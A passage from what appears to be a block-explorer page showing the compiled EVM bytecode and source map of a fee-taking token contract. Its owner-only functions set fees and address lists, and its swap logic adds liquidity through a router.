a207375627472616374696f6e206f766572666c6f770000815250600081848411156113c35760405162461bcd60e51b81526004016107949190611405565b506000610e1e84866115f8565b6001600160a01b03811681146113e557600080fd5b50565b6000602082840312156113fa57600080fd5b8135610adc816113d0565b600060208083528351808285015260005b8181101561143257858101830151858201604001528201611416565b506000604082860101526040601f19601f8301168501019250505092915050565b6000806040838503121561146657600080fd5b8235611471816113d0565b946020939093013593505050565b60008060006060848603121561149457600080fd5b833561149f816113d0565b925060208401356114af816113d0565b929592945050506040919091013590565b600080600080608085870312156114d657600080fd5b5050823594602084013594506040840135936060013592509050565b8035801515811461150257600080fd5b919050565b6000806040838503121561151a57600080fd5b8235611525816113d0565b9150611533602084016114f2565b90509250929050565b60008060006060848603121561155157600080fd5b61155a846114f2565b95602085013595506040909401359392505050565b6000806040838503121561158257600080fd5b823561158d816113d0565b9150602083013561159d816113d0565b809150509250929050565b600181811c908216806115bc57607f821691505b6020821081036115dc57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b818103818111156106cd576106cd6115e2565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600181815b8085111561167b578160001904821115611661576116616115e2565b8085161561166e57918102915b93841c9390800290611645565b509250929050565b600082611692575060016106cd565b8161169f575060006106cd565b81600181146116b557600281146116bf576116db565b60019150506106cd565b60ff8411156116d0576116d06115e2565b50506001821b6106cd565b5060208310610133831016604e8410600b84101617156116fe575081810a6106cd565b6117088383611640565b806000190482111561171c5761171c6115e2565b029392505050565b6000610adc60ff841683611683565b80820281158282048414176106cd576106cd6115e2565b808201808211156106cd576106cd6115e2565b60008261177a57634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b6000602082840312156117a757600080fd5b8151610adc816113d0565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118025784516001600160a01b0316835293830193918301916001016117dd565b50506001600160a01b03969096166060850152505050608001529392505050565b60008060006060848603121561183857600080fd5b835192506020840151915060408401519050925092509256fea264697066735822122069a1c83df27397b1dcdaea61cb12d0ad8da707aec0733a04f6bcb338b042919864736f6c63430008110033

Deployed Bytecode

0x6080604052600436106101c65760003560e01c8063715018a6116100f7578063a842486111610095578063d83d414311610064578063d83d414314610584578063dd62ed3e146105a4578063f2fde38b146105ea578063f887ea401461060a57600080fd5b8063a84248611461050e578063a9059cbb1461052e578063acef1a441461054e578063d08893581461056457600080fd5b80638da5cb5b116100d15780638da5cb5b1461044957806395d89b41146104675780639af1d35a1461047c578063a806d62e146104bf57600080fd5b8063715018a6146103e45780637888ffdf146103f95780637d6027cd1461041957600080fd5b80633c11100d1161016457806366c907c51161013e57806366c907c5146103525780636ddd1713146103745780636fcba3771461038e57806370a08231146103ae57600080fd5b80633c11100d146102d45780634188bf5a14610304578063553193ca1461033c57600080fd5b8063095ea7b3116101a0578063095ea7b31461025d57806318160ddd1461027d57806323b872dd14610292578063313ce567146102b257600080fd5b806301986fad146101d25780630445b6671461021757806306fdde031461023b57600080fd5b366101cd57005b600080fd5b3480156101de57600080fd5b506102026101ed3660046113e8565b60106020526000908152604090205460ff1681565b60405190151581526020015b60405180910390f35b34801561022357600080fd5b5061022d60185481565b60405190815260200161020e565b34801561024757600080fd5b5061025061062a565b60405161020e9190611405565b34801561026957600080fd5b50610202610278366004611453565b6106bc565b34801561028957600080fd5b5060065461022d565b34801561029e57600080fd5b506102026102ad36600461147f565b6106d3565b3480156102be57600080fd5b5060055460405160ff909116815260200161020e565b3480156102e057600080fd5b506102026102ef3660046113e8565b60146020526000908152604090205460ff1681565b34801561031057600080fd5b50601354610324906001600160a01b031681565b6040516001600160a01b03909116815260200161020e565b34801561034857600080fd5b5061022d60165481565b34801561035e57600080fd5b5061037261036d3660046114c0565b61076a565b005b34801561038057600080fd5b506017546102029060ff1681565b34801561039a57600080fd5b506103726103a93660046114c0565b6107f4565b3480156103ba57600080fd5b5061022d6103c93660046113e8565b6001600160a01b031660009081526001602052604090205490565b3480156103f057600080fd5b50610372610852565b34801561040557600080fd5b50610372610414366004611507565b6108c6565b34801561042557600080fd5b506102026104343660046113e8565b60116020526000908152604090205460ff1681565b34801561045557600080fd5b506000546001600160a01b0316610324565b34801561047357600080fd5b5061025061091b565b34801561048857600080fd5b50600754600854600954600a5461049f9392919084565b60408051948552602085019390935291830152606082015260800161020e565b3480156104cb57600080fd5b50600b54600c54600d54600e54600f546104e6949392919085565b604080519586526020860194909452928401919091526060830152608082015260a00161020e565b34801561051a57600080fd5b50610372610529366004611507565b61092a565b34801561053a57600080fd5b50610202610549366004611453565b61097f565b34801561055a57600080fd5b5061022d60195481565b34801561057057600080fd5b5061037261057f36600461153c565b61098c565b34801561059057600080fd5b5061037261059f366004611507565b6109d0565b3480156105b057600080fd5b5061022d6105bf36600461156f565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3480156105f657600080fd5b506103726106053660046113e8565b610a25565b34801561061657600080fd5b50601254610324906001600160a01b031681565b606060038054610639906115a8565b80601f0160208091040260200160405190810160405280929190818152602001828054610665906115a8565b80156106b25780601f10610687576101008083540402835291602001916106b2565b820191906000526020600020905b81548152906001019060200180831161069557829003601f168201915b5050505050905090565b60006106c9338484610ae3565b5060015b92915050565b60006106e0848484610b45565b6001600160a01b038416600090815260026020908152604080832033845290915290205460001914610760576001600160a01b038416600090815260026020908152604080832033845290915290205461073b9083906115f8565b6001600160a01b03851660009081526002602090815260408083203384529091529020555b5060019392505050565b6000546001600160a01b0316331461079d5760405162461bcd60e51b81526004016107949061160b565b60405180910390fd5b60006107b5836107af8481888a610d91565b90610d91565b6040805160a0810182528781526020810187905290810185905260608101849052608001819052600b9590955550600c92909255600d55600e55600f55565b6000546001600160a01b0316331461081e5760405162461bcd60e51b81526004016107949061160b565b6040805160808101825285815260208101859052908101839052606001819052600793909355600891909155600955600a55565b6000546001600160a01b0316331461087c5760405162461bcd60e51b81526004016107949061160b565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108f05760405162461bcd60e51b81526004016107949061160b565b6001600160a01b03919091166000908152601160205260409020805460ff1916911515919091179055565b606060048054610639906115a8565b6000546001600160a01b031633146109545760405162461bcd60e51b81526004016107949061160b565b6001600160a01b03919091166000908152601460205260409020805460ff1916911515919091179055565b60006106c9338484610b45565b6000546001600160a01b031633146109b65760405162461bcd60e51b81526004016107949061160b565b6017805460ff191693151593909317909255601855601955565b6000546001600160a01b031633146109fa5760405162461bcd60e51b81526004016107949061160b565b6001600160a01b03919091166000908152601060205260409020805460ff1916911515919091179055565b6000546001600160a01b03163314610a4f5760405162461bcd60e51b81526004016107949061160b565b600080546001600160a01b0319166001600160a01b0383169081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a350565b6000610adc83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610df0565b9392505050565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b03831660009081526011602052604090205460ff161580610b8557506001600160a01b03821660009081526010602052604090205460ff165b610bbd5760405162461bcd60e51b815260206004820152600960248201526821b437b9b2b729b7b760b91b6044820152606401610794565b6001600160a01b03831660009081526014602052604081205460ff1680610bfc57506001600160a01b03831660009081526014602052604090205460ff165b15610cf8576001600160a01b03841660009081526010602052604090205460ff16158015610c4357506001600160a01b03831660009081526010602052604090205460ff16155b15610cf8576001600160a01b03831660009081526014602052604090205460ff1615610cf457601654600010610ca95760405162461bcd60e51b815260206004820152600b60248201526a02173746172744164644c560ac1b6044820152606401610794565b601a5460ff16610cf4573060009081526001602052604090205460175460ff168015610cd55750600081115b15610cf257601954811115610ce957506019545b610cf281610e27565b505b5060015b6001600160a01b03841660009081526010602052604090205460ff168015610d3857506001600160a01b03831660009081526010602052604090205460ff165b15610d8557600554610d4e9060ff16600a611724565b610d5a906123c6611733565b8214610d6c5760006016819055610d73565b4360168190555b50610d7f848484611178565b50505050565b610d7f848484846111f0565b600080610d9e838561174a565b905083811015610adc5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610794565b60008183610e115760405162461bcd60e51b81526004016107949190611405565b506000610e1e848661175d565b95945050505050565b601a805460ff19166001179055600f54600d54600091610e5291610e4c9085906112e0565b90610a9a565b90506000610e7c6002610e4c600b60040154610e4c600b60010154886112e090919063ffffffff16565b90506000610e9483610e8e8685611362565b90611362565b60408051600280825260608201835292935060009290916020830190803683370190505090503081600081518110610ece57610ece61177f565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610f27573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f4b9190611795565b81600181518110610f5e57610f5e61177f565b6001600160a01b03928316602091820292909201015260125460405163791ac94760e01b815291169063791ac94790610fa49085906000908690309042906004016117b2565b600060405180830381600087803b158015610fbe57600080fd5b505af1158015610fd2573d6000803e3d6000fd5b5050600d54600c5447935060009250610ffe9190610e8e90610ff5906002610a9a565b600f5490611362565b905060006110236002610e4c84610e4c600b60010154886112e090919063ffffffff16565b9050600061104383610e4c600b60030154876112e090919063ffffffff16565b9050600061105582610e8e8786611362565b9050600081156110bc576015546040516001600160a01b03909116906175309084906000818181858888f193505050503d80600081146110b1576040519150601f19603f3d011682016040523d82523d6000602084013e6110b6565b606091505b50909150505b88156111615783156111615760125460155460405163f305d71960e01b8152306004820152602481018c905260006044820181905260648201526001600160a01b0391821660848201524260a482015291169063f305d71990869060c40160606040518083038185885af1158015611138573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061115d9190611823565b5050505b5050601a805460ff19169055505050505050505050565b6001600160a01b03821660009081526001602052604090205461119c90829061174a565b6001600160a01b0380841660008181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610b389085815260200190565b6001600160a01b0384166000908152600160205260409020546112149083906115f8565b6001600160a01b03851660009081526001602052604081209190915581156112c5576001600160a01b03851660009081526014602052604081205460ff1615611260575060075461128f565b6001600160a01b03851660009081526014602052604090205460ff161561128a575060085461128f565b506009545b600a546000906112a390610e4c87856112e0565b905080156112c2576112b5818461174a565b92506112c2873083611178565b50505b6112d985856112d484876115f8565b611178565b5050505050565b6000826000036112f2575060006106cd565b60006112fe8385611733565b90508261130b858361175d565b14610adc5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610794565b6000610adc83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250600081848411156113c35760405162461bcd60e51b81526004016107949190611405565b506000610e1e84866115f8565b6001600160a01b03811681146113e557600080fd5b50565b6000602082840312156113fa57600080fd5b8135610adc816113d0565b600060208083528351808285015260005b8181101561143257858101830151858201604001528201611416565b506000604082860101526040601f19601f8301168501019250505092915050565b6000806040838503121561146657600080fd5b8235611471816113d0565b946020939093013593505050565b60008060006060848603121561149457600080fd5b833561149f816113d0565b925060208401356114af816113d0565b929592945050506040919091013590565b600080600080608085870312156114d657600080fd5b5050823594602084013594506040840135936060013592509050565b8035801515811461150257600080fd5b919050565b6000806040838503121561151a57600080fd5b8235611525816113d0565b9150611533602084016114f2565b90509250929050565b60008060006060848603121561155157600080fd5b61155a846114f2565b95602085013595506040909401359392505050565b6000806040838503121561158257600080fd5b823561158d816113d0565b9150602083013561159d816113d0565b809150509250929050565b600181811c908216806115bc57607f821691505b6020821081036115dc57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b818103818111156106cd576106cd6115e2565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600181815b8085111561167b578160001904821115611661576116616115e2565b8085161561166e57918102915b93841c9390800290611645565b509250929050565b600082611692575060016106cd565b8161169f575060006106cd565b81600181146116b557600281146116bf576116db565b60019150506106cd565b60ff8411156116d0576116d06115e2565b50506001821b6106cd565b5060208310610133831016604e8410600b84101617156116fe575081810a6106cd565b6117088383611640565b806000190482111561171c5761171c6115e2565b029392505050565b6000610adc60ff841683611683565b80820281158282048414176106cd576106cd6115e2565b808201808211156106cd576106cd6115e2565b60008261177a57634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b6000602082840312156117a757600080fd5b8151610adc816113d0565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118025784516001600160a01b0316835293830193918301916001016117dd565b50506001600160a01b03969096166060850152505050608001529392505050565b60008060006060848603121561183857600080fd5b835192506020840151915060408401519050925092509256fea264697066735822122069a1c83df27397b1dcdaea61cb12d0ad8da707aec0733a04f6bcb338b042919864736f6c63430008110033

Deployed Bytecode Sourcemap

14798:216:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6322:45;;;;;;;;;;-1:-1:-1;6322:45:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;567:14:1;;560:22;542:41;;530:2;515:18;6322:45:0;;;;;;;;6654:28;;;;;;;;;;;;;;;;;;;740:25:1;;;728:2;713:18;6654:28:0;594:177:1;8084:78:0;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;8724:133::-;;;;;;;;;;-1:-1:-1;8724:133:0;;;;;:::i;:::-;;:::i;8252:79::-;;;;;;;;;;-1:-1:-1;8322:7:0;;8252:79;;8898:336;;;;;;;;;;-1:-1:-1;8898:336:0;;;;;:::i;:::-;;:::i;8168:78::-;;;;;;;;;;-1:-1:-1;8235:9:0;;8168:78;;8235:9;;;;2252:36:1;;2240:2;2225:18;8168:78:0;2110:184:1;6495:45:0;;;;;;;;;;-1:-1:-1;6495:45:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;6464:24;;;;;;;;;;-1:-1:-1;6464:24:0;;;;-1:-1:-1;;;;;6464:24:0;;;;;;-1:-1:-1;;;;;2463:32:1;;;2445:51;;2433:2;2418:18;6464:24:0;2299:203:1;6578:30:0;;;;;;;;;;;;;;;;13776:234;;;;;;;;;;-1:-1:-1;13776:234:0;;;;;:::i;:::-;;:::i;:::-;;6617:30;;;;;;;;;;-1:-1:-1;6617:30:0;;;;;;;;14019:146;;;;;;;;;;-1:-1:-1;14019:146:0;;;;;:::i;:::-;;:::i;8337:103::-;;;;;;;;;;-1:-1:-1;8337:103:0;;;;;:::i;:::-;-1:-1:-1;;;;;8420:18:0;8403:7;8420:18;;;:9;:18;;;;;;;8337:103;5583:148;;;;;;;;;;;;;:::i;14551:112::-;;;;;;;;;;-1:-1:-1;14551:112:0;;;;;:::i;:::-;;:::i;6374:42::-;;;;;;;;;;-1:-1:-1;6374:42:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;5496:79;;;;;;;;;;-1:-1:-1;5534:7:0;5561:6;-1:-1:-1;;;;;5561:6:0;5496:79;;7996:82;;;;;;;;;;;;;:::i;6189:15::-;;;;;;;;;;-1:-1:-1;6189:15:0;;;;;;;;;;;;;;;;;;;3613:25:1;;;3669:2;3654:18;;3647:34;;;;3697:18;;;3690:34;3755:2;3740:18;;3733:34;3600:3;3585:19;6189:15:0;3382:391:1;6295:18:0;;;;;;;;;;-1:-1:-1;6295:18:0;;;;;;;;;;;;;;;;;;;;;;4037:25:1;;;4093:2;4078:18;;4071:34;;;;4121:18;;;4114:34;;;;4179:2;4164:18;;4157:34;4222:3;4207:19;;4200:35;4024:3;4009:19;6295:18:0;3778:463:1;14671:118:0;;;;;;;;;;-1:-1:-1;14671:118:0;;;;;:::i;:::-;;:::i;8446:139::-;;;;;;;;;;-1:-1:-1;8446:139:0;;;;;:::i;:::-;;:::i;6689:31::-;;;;;;;;;;;;;;;;14174:243;;;;;;;;;;-1:-1:-1;14174:243:0;;;;;:::i;:::-;;:::i;14425:118::-;;;;;;;;;;-1:-1:-1;14425:118:0;;;;;:::i;:::-;;:::i;8591:127::-;;;;;;;;;;-1:-1:-1;8591:127:0;;;;;:::i;:::-;-1:-1:-1;;;;;8689:18:0;;;8672:7;8689:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;8591:127;5336:152;;;;;;;;;;-1:-1:-1;5336:152:0;;;;;:::i;:::-;;:::i;6425:32::-;;;;;;;;;;-1:-1:-1;6425:32:0;;;;-1:-1:-1;;;;;6425:32:0;;;8084:78;8132:13;8155:5;8148:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8084:78;:::o;8724:133::-;8799:4;8806:37;8815:10;8827:7;8836:6;8806:8;:37::i;:::-;-1:-1:-1;8851:4:0;8724:133;;;;;:::o;8898:336::-;8996:4;9013:36;9023:6;9031:9;9042:6;9013:9;:36::i;:::-;-1:-1:-1;;;;;9064:19:0;;6115:1;9064:19;;;:11;:19;;;;;;;;9084:10;9064:31;;;;;;;;-1:-1:-1;;9064:38:0;9060:145;;-1:-1:-1;;;;;9153:19:0;;;;;;:11;:19;;;;;;;;9173:10;9153:31;;;;;;;;:40;;9187:6;;9153:40;:::i;:::-;-1:-1:-1;;;;;9119:19:0;;;;;;:11;:19;;;;;;;;9139:10;9119:31;;;;;;;:74;9060:145;-1:-1:-1;9222:4:0;8898:336;;;;;:::o;13776:234::-;5251:6;;-1:-1:-1;;;;;5251:6:0;5261:10;5251:20;5243:65;;;;-1:-1:-1;;;5243:65:0;;;;;;;:::i;:::-;;;;;;;;;13879:10:::1;13891:47;13933:4:::0;13891:37:::1;13920:7:::0;13891:37;:9;13905;13891:13:::1;:24::i;:::-;:28:::0;::::1;:37::i;:47::-;13957:45;::::0;;::::1;::::0;::::1;::::0;;;;;::::1;::::0;::::1;::::0;;;;;;;;;;;;;;;;;;;;13951:5:::1;:51:::0;;;;-1:-1:-1;13951:51:0;;;;;;;;;;;13776:234::o;14019:146::-;5251:6;;-1:-1:-1;;;;;5251:6:0;5261:10;5251:20;5243:65;;;;-1:-1:-1;;;5243:65:0;;;;;;;:::i;:::-;14123:34:::1;::::0;;::::1;::::0;::::1;::::0;;;;;::::1;::::0;::::1;::::0;;;;;;;;;;;;;;14118:4:::1;:39:::0;;;;;;;;;;;;;14019:146::o;5583:148::-;5251:6;;-1:-1:-1;;;;;5251:6:0;5261:10;5251:20;5243:65;;;;-1:-1:-1;;;5243:65:0;;;;;;;:::i;:::-;5690:1:::1;5674:6:::0;;5653:40:::1;::::0;-1:-1:-1;;;;;5674:6:0;;::::1;::::0;5653:40:::1;::::0;5690:1;;5653:40:::1;5721:1;5704:19:::0;;-1:-1:-1;;;;;;5704:19:0::1;::::0;;5583:148::o;14551:112::-;5251:6;;-1:-1:-1;;;;;5251:6:0;5261:10;5251:20;5243:65;;;;-1:-1:-1;;;5243:65:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;14630:16:0;;;::::1;;::::0;;;:10:::1;:16;::::0;;;;:25;;-1:-1:-1;;14630:25:0::1;::::0;::::1;;::::0;;;::::1;::::0;;14551:112::o;7996:82::-;8046:13;8069:7;8062:14;;;;;:::i;14671:118::-;5251:6;;-1:-1:-1;;;;;5251:6:0;5261:10;5251:20;5243:65;;;;-1:-1:-1;;;5243:65:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;14753:19:0;;;::::1;;::::0;;;:13:::1;:19;::::0;;;;:28;;-1:-1:-1;;14753:28:0::1;::::0;::::1;;::::0;;;::::1;::::0;;14671:118::o;8446:139::-;8524:4;8531:40;8541:10;8553:9;8564:6;8531:9;:40::i;14174:243::-;5251:6;;-1:-1:-1;;;;;5251:6:0;5261:10;5251:20;5243:65;;;;-1:-1:-1;;;5243:65:0;;;;;;;:::i;:::-;14299:11:::1;:22:::0;;-1:-1:-1;;14299:22:0::1;::::0;::::1;;::::0;;;::::1;::::0;;;14332:13:::1;:30:::0;14373:16:::1;:36:::0;14174:243::o;14425:118::-;5251:6;;-1:-1:-1;;;;;5251:6:0;5261:10;5251:20;5243:65;;;;-1:-1:-1;;;5243:65:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;14507:19:0;;;::::1;;::::0;;;:13:::1;:19;::::0;;;;:28;;-1:-1:-1;;14507:28:0::1;::::0;::::1;;::::0;;;::::1;::::0;;14425:118::o;5336:152::-;5251:6;;-1:-1:-1;;;;;5251:6:0;5261:10;5251:20;5243:65;;;;-1:-1:-1;;;5243:65:0;;;;;;;:::i;:::-;5420:6:::1;:12:::0;;-1:-1:-1;;;;;;5420:12:0::1;-1:-1:-1::0;;;;;5420:12:0;::::1;::::0;;::::1;::::0;;5448:32:::1;::::0;5420:12;;;;5448:32:::1;::::0;5420:6;5448:32:::1;5336:152:::0;:::o;3169:132::-;3227:7;3254:39;3258:1;3261;3254:39;;;;;;;;;;;;;;;;;:3;:39::i;:::-;3247:46;3169:132;-1:-1:-1;;;3169:132:0:o;9242:177::-;-1:-1:-1;;;;;9327:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;9379:32;;740:25:1;;;9379:32:0;;713:18:1;9379:32:0;;;;;;;;9242:177;;;:::o;9427:1208::-;-1:-1:-1;;;;;9550:16:0;;;;;;:10;:16;;;;;;;;9549:17;;:39;;-1:-1:-1;;;;;;9571:17:0;;;;;;:13;:17;;;;;;;;9549:39;9541:61;;;;-1:-1:-1;;;9541:61:0;;6667:2:1;9541:61:0;;;6649:21:1;6706:1;6686:18;;;6679:29;-1:-1:-1;;;6724:18:1;;;6717:39;6773:18;;9541:61:0;6465:332:1;9541:61:0;-1:-1:-1;;;;;9640:19:0;;9613:12;9640:19;;;:13;:19;;;;;;;;;:40;;-1:-1:-1;;;;;;9663:17:0;;;;;;:13;:17;;;;;;;;9640:40;9636:718;;;-1:-1:-1;;;;;9702:19:0;;;;;;:13;:19;;;;;;;;9701:20;:42;;;;-1:-1:-1;;;;;;9726:17:0;;;;;;:13;:17;;;;;;;;9725:18;9701:42;9697:646;;;-1:-1:-1;;;;;9768:17:0;;;;;;:13;:17;;;;;;;;9764:531;;;9822:15;;9818:1;:19;9810:43;;;;-1:-1:-1;;;9810:43:0;;7004:2:1;9810:43:0;;;6986:21:1;7043:2;7023:18;;;7016:30;-1:-1:-1;;;7062:18:1;;;7055:41;7113:18;;9810:43:0;6802:335:1;9810:43:0;9881:6;;;;9876:400;;9965:4;9916:28;8420:18;;;:9;:18;;;;;;10002:11;;;;:39;;;;;10040:1;10017:20;:24;10002:39;9998:255;;;10100:16;;10077:20;:39;10074:82;;;-1:-1:-1;10140:16:0;;10074:82;10187:38;10204:20;10187:16;:38::i;:::-;9889:387;9876:400;-1:-1:-1;10323:4:0;9697:646;-1:-1:-1;;;;;10367:19:0;;;;;;:13;:19;;;;;;;;:40;;;;-1:-1:-1;;;;;;10390:17:0;;;;;;:13;:17;;;;;;;;10367:40;10364:212;;;10440:9;;10436:13;;10440:9;;10436:2;:13;:::i;:::-;10431:18;;:4;:18;:::i;:::-;10423:6;:26;:73;;10495:1;10479:15;:17;;;10423:73;;;10466:12;10450:15;:28;;;10423:73;;10511:31;10525:4;10531:2;10535:6;10511:13;:31::i;:::-;10557:7;9427:1208;;;:::o;10364:212::-;10586:41;10601:4;10607:2;10611:6;10619:7;10586:14;:41::i;2386:181::-;2444:7;;2476:5;2480:1;2476;:5;:::i;:::-;2464:17;;2505:1;2500;:6;;2492:46;;;;-1:-1:-1;;;2492:46:0;;9030:2:1;2492:46:0;;;9012:21:1;9069:2;9049:18;;;9042:30;9108:29;9088:18;;;9081:57;9155:18;;2492:46:0;8828:351:1;3307:189:0;3393:7;3428:12;3421:5;3413:28;;;;-1:-1:-1;;;3413:28:0;;;;;;;;:::i;:::-;-1:-1:-1;3452:9:0;3464:5;3468:1;3464;:5;:::i;:::-;3452:17;3307:189;-1:-1:-1;;;;;3307:189:0:o;11996:1551::-;6787:6;:13;;-1:-1:-1;;6787:13:0;6796:4;6787:13;;;12126:11;;12110:10;;6787:6;;12094:44:::1;::::0;:27:::1;::::0;:11;;:15:::1;:27::i;:::-;:31:::0;::::1;:44::i;:::-;12074:64;;12149:20;12172:56;12226:1;12172:49;12209:5;:11;;;12172:32;12188:5;:15;;;12172:11;:15;;:32;;;;:::i;:56::-;12149:79:::0;-1:-1:-1;12239:17:0::1;12259:50;12296:12:::0;12259:32:::1;:11:::0;12149:79;12259:15:::1;:32::i;:::-;:36:::0;::::1;:50::i;:::-;12344:16;::::0;;12358:1:::1;12344:16:::0;;;;;::::1;::::0;;12239:70;;-1:-1:-1;12320:21:0::1;::::0;12344:16;;::::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;12344:16:0::1;12320:40;;12389:4;12371;12376:1;12371:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12371:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;12415:6:::1;::::0;:13:::1;::::0;;-1:-1:-1;;;12415:13:0;;;;:6;;;::::1;::::0;:11:::1;::::0;:13:::1;::::0;;::::1;::::0;12371:7;;12415:13;;;;;:6;:13:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12405:4;12410:1;12405:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12405:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;:23;12439:6:::1;::::0;:188:::1;::::0;-1:-1:-1;;;12439:188:0;;:6;::::1;::::0;:57:::1;::::0;:188:::1;::::0;12511:12;;12439:6:::1;::::0;12554:4;;12581::::1;::::0;12601:15:::1;::::0;12439:188:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;12751:10:0;;12723:15;;12656:21:::1;::::0;-1:-1:-1;12640:14:0::1;::::0;-1:-1:-1;12707:55:0::1;::::0;12751:10;12707:39:::1;::::0;12723:22:::1;::::0;12751:10:::1;12723:19;:22::i;:::-;12707:11:::0;;;:15:::1;:39::i;:55::-;12688:74;;12773:23;12799:54;12851:1;12799:47;12834:11;12799:30;12813:5;:15;;;12799:9;:13;;:30;;;;:::i;:54::-;12773:80;;12864:20;12887:44;12919:11;12887:27;12901:5;:12;;;12887:9;:13;;:27;;;;:::i;:44::-;12864:67:::0;-1:-1:-1;12942:15:0::1;12960:54;12864:67:::0;12960:33:::1;:9:::0;12974:18;12960:13:::1;:33::i;:54::-;12942:72:::0;-1:-1:-1;13025:15:0::1;13054:12:::0;;13051:124:::1;;13106:16;::::0;13098:65:::1;::::0;-1:-1:-1;;;;;13106:16:0;;::::1;::::0;13153:5:::1;::::0;13136:10;;13098:65:::1;::::0;;;13136:10;13106:16;13153:5;13098:65:::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1::0;13082:81:0;;-1:-1:-1;;13051:124:0::1;13191:19:::0;;13187:353:::1;;13231:22:::0;;13227:302:::1;;13274:6;::::0;13448:16:::1;::::0;13274:239:::1;::::0;-1:-1:-1;;;13274:239:0;;13350:4:::1;13274:239;::::0;::::1;11462:34:1::0;11512:18;;;11505:34;;;13274:6:0::1;11555:18:1::0;;;11548:34;;;11598:18;;;11591:34;-1:-1:-1;;;;;13448:16:0;;::::1;11641:19:1::0;;;11634:44;13483:15:0::1;11694:19:1::0;;;11687:35;13274:6:0;::::1;::::0;:22:::1;::::0;13304:18;;11396:19:1;;13274:239:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;13227:302;-1:-1:-1::0;;6823:6:0;:14;;-1:-1:-1;;6823:14:0;;;-1:-1:-1;;;;;;;;;11996:1551:0:o;13555:213::-;-1:-1:-1;;;;;13692:13:0;;;;;;:9;:13;;;;;;:23;;13708:7;;13692:23;:::i;:::-;-1:-1:-1;;;;;13676:13:0;;;;;;;:9;:13;;;;;;;:39;;;;13731:29;;;;;;;;;;13752:7;740:25:1;;728:2;713:18;;594:177;11054:933:0;-1:-1:-1;;;;;11226:17:0;;;;;;:9;:17;;;;;;:27;;11246:7;;11226:27;:::i;:::-;-1:-1:-1;;;;;11206:17:0;;;;;;:9;:17;;;;;:47;;;;11302:612;;;;-1:-1:-1;;;;;11364:21:0;;11330:15;11364:21;;;:13;:21;;;;;;;;11360:231;;;-1:-1:-1;11416:4:0;:8;11360:231;;;-1:-1:-1;;;;;11449:24:0;;;;;;:13;:24;;;;;;;;11446:145;;;-1:-1:-1;11504:9:0;;11446:145;;;-1:-1:-1;11562:13:0;;11446:145;11651:9;;11605:18;;11626:35;;:20;:7;11638;11626:11;:20::i;:35::-;11605:56;-1:-1:-1;11680:14:0;;11676:227;;11715:23;11728:10;11715:23;;:::i;:::-;;;11757:130;11793:6;11830:4;11858:10;11757:13;:130::i;:::-;11315:599;;11302:612;11926:53;11940:6;11948:9;11959:19;11969:9;11959:7;:19;:::i;:::-;11926